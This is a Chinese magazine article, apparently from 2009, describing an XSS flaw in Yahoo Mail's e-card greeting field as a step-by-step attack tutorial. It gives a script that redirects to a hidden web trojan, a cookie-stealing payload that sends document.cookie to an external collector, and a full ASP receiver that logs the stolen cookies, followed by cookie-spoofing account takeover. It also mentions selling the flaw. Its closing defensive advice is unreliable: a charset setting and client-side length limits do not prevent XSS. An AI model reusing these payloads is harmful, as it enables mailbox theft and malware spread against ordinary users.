借道雅虎邮箱 全球牧“马”
安全阵线
本期主角 雅虎邮箱
问题所在 特殊符号没有过滤
主要危害 窃取雅虎邮箱账号、大面积挂马
调研时间 2009.9.8~2009.10.26
雅虎邮箱号称全球邮箱第一品牌,姑且不论是不是真的,但可以看出雅虎对邮箱业务是非常重视的(图1)。电脑报的安全研究团队最近发现了雅虎邮箱的安全漏洞,利用该漏洞可以向雅虎全球邮箱用户发动木马攻击,还可以盗取雅虎任意用户的邮箱,用社会工程学搜集用户的隐私,该漏洞的危害是全球级别的。

读者朋友,我是CJ也疯狂,还记得我吧!在挖掘了开心网漏洞之后,我就忙于本职工作,期待更上一层楼,没有继续挖掘漏洞了。最近无意中发现了雅虎邮箱的高危漏洞,不敢藏私,特与大家共同分享,这可是我独家爆料,错过就可惜了。
发现漏洞纯属偶然。圣诞节、元旦等节日也不远了,公司要制作电子贺卡等一系列宣传的东东,这个重任就分配给我了。由于任务不急,所以我慢慢研究,前几天在雅虎邮箱的贺卡功能中,无意发现了过滤不严的地方。
于是和好友非零解、北极宫爵一起深入研究了一下。嘿嘿!该漏洞居然可以用来挂马,这意味着什么?这意味着我们可以向雅虎的全球邮箱用户发动木马攻击,如果利用漏洞制作传播木马的蠕虫,你说吓人不?
漏洞的危害可以从其售价中看出来。大家可能不知道,一般的漏洞能卖几百元到几千元人民币,而雅虎的这个漏洞可以卖10万~30万人民币。关键的是,它还可以在国际上出售,用美元计算。现在,知道漏洞的危害了吧。
特殊符号没有过滤
“邮箱贺卡”是雅虎邮箱的一项内置功能,通过“邮箱贺卡”可以很方便地给好友发送Flash贺卡,雅虎对它的安全问题非常重视,对常见的跨站代码进行了过滤,但雅虎的过滤并不是无懈可击。
<、>、:、"等特殊符号就没有进行过滤,利用它们可以构建特殊的跨站代码: ”http:";b="//";c="www";d=".baidu";e=".com";window.open(a+b+c+d+e,"","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=500,height=500"),通过该代码不仅可以大面积挂马,还可以盗取雅虎用户的邮箱。
安全小知识:跨站攻击即Cross Site Script Execution(也称之为XSS),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
利用邮箱贺卡挂马
打开雅虎邮箱,注册一个邮箱账号。登录后点击左侧列表中的“邮箱贺卡”,进入“贺卡中心”页面,然后任意选择一张贺卡,点击“发送”按钮开始设置贺卡内容。
在贺卡的祝福语一栏中填写如下代码:<script defer="defer">var a,b,c,d,e;a="http:";b="//";c="www";d=".baidu";e=".com";window.open(a+b+c+d+e,"","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=500,height=500");</script>,这句代码的意思是打开一个长和宽都为500的百度窗口(图2)。

真正黑客是不会挂百度的,他们会用漏洞工具制作一个网页木马,然后将网页木马上传到网络空间中,将代码中百度的地址替换为木马的地址,将网页木马的长和宽都设置为0,这样网页木马就看不到了。填写完毕后将贺卡发送给目标,当他打开贺卡时,网页木马就悄悄地在后台运行了。
盗取雅虎用户邮箱
挂马是有成功率的,是否成功取决于用户所装杀毒软件的好坏,如果我们用跨站攻击来盗取用户的邮箱,成功率却是100%。

第一步:找到贺卡的写祝福语的地方(图3),在输入框中填写如下代码:<script defer="defer">z=new Image();var a="http";z.src=a+"://www.***.com/cookie.asp?cookie="+escape(document.cookie); </script>,这句代码的意思是获取用户的Cookie值(图4),发送到http://www.***.com/cookie.asp中。

第二步:我们再来构造用来接收用户Cookie值的文件,新建一个文本文件,在里面输入如下代码:
<%
dim getcookie
dim ttime
dim str
getcookie=request("cookie")
ttime=now()
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("cookie.txt"),8,True)
str=ttime & "——-" & getcookie
file.writeline(str)
file.close
set file=nothing
set fs=nothing
response.write "<script>location.href='http://mail.cn.yahoo.com'</script>"
response.end
%>
将该文件另存为cookie.asp。
第三步:申请一个免费的网页空间,将cookie.asp上传上去,把cookie.asp所在的URL复制下来,替换掉跨站代码中的接收文件URL。最后填写贺卡的其余选项,将它发送给目标用户。
当对方打开这封电子贺卡的时候,其Cookie将会被窃取,发送到与cookie.asp同目录的cookie.txt文件中。得到对方的Cookie后我们可以通过Cookie欺骗的方法进入到他的邮箱中。
深度分析
跨站攻击是危害较大的一类黑客攻击,严重的不仅会挂马,还可以窃取用户的Cookie,
最为恐怖的是杀毒软件和防火墙不会报警,因为跨站攻击使用的代码属于正常代码,可以在杀毒软件和防火墙面前畅通无阻。
跨站攻击很早就已出现,但是到现在仍屡见不鲜,最主要的原因还是因为程序员的疏忽大意,在编程的时候没有做足够的过滤和测试,导致漏洞产生。作为程序员,为了防止跨站漏洞的产生,可以采取以下两点措施:
1. 对动态生成的页面的字符进行编码
对动态生成页面的字符进行编码,只要我们把字符编码设成拉丁字符ISO-8859-1就行了: <META http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">。
2. 过滤和限制所有输入的数据
在ONSUBMIT方法中加入JavaScript程序来完成这个功能,例如限制用户最多只能输入15个字符,这样可以阻止那些较长的跨站代码的输入。
对普通用户而言,上网时一定要开启杀毒软件的实时监控功能,最好使用带网页木马拦截功能的安全辅助工具。遇到网址,不要盲目点击,先看看网址是不是被加密过,如果网址被加密过就最好不要点击。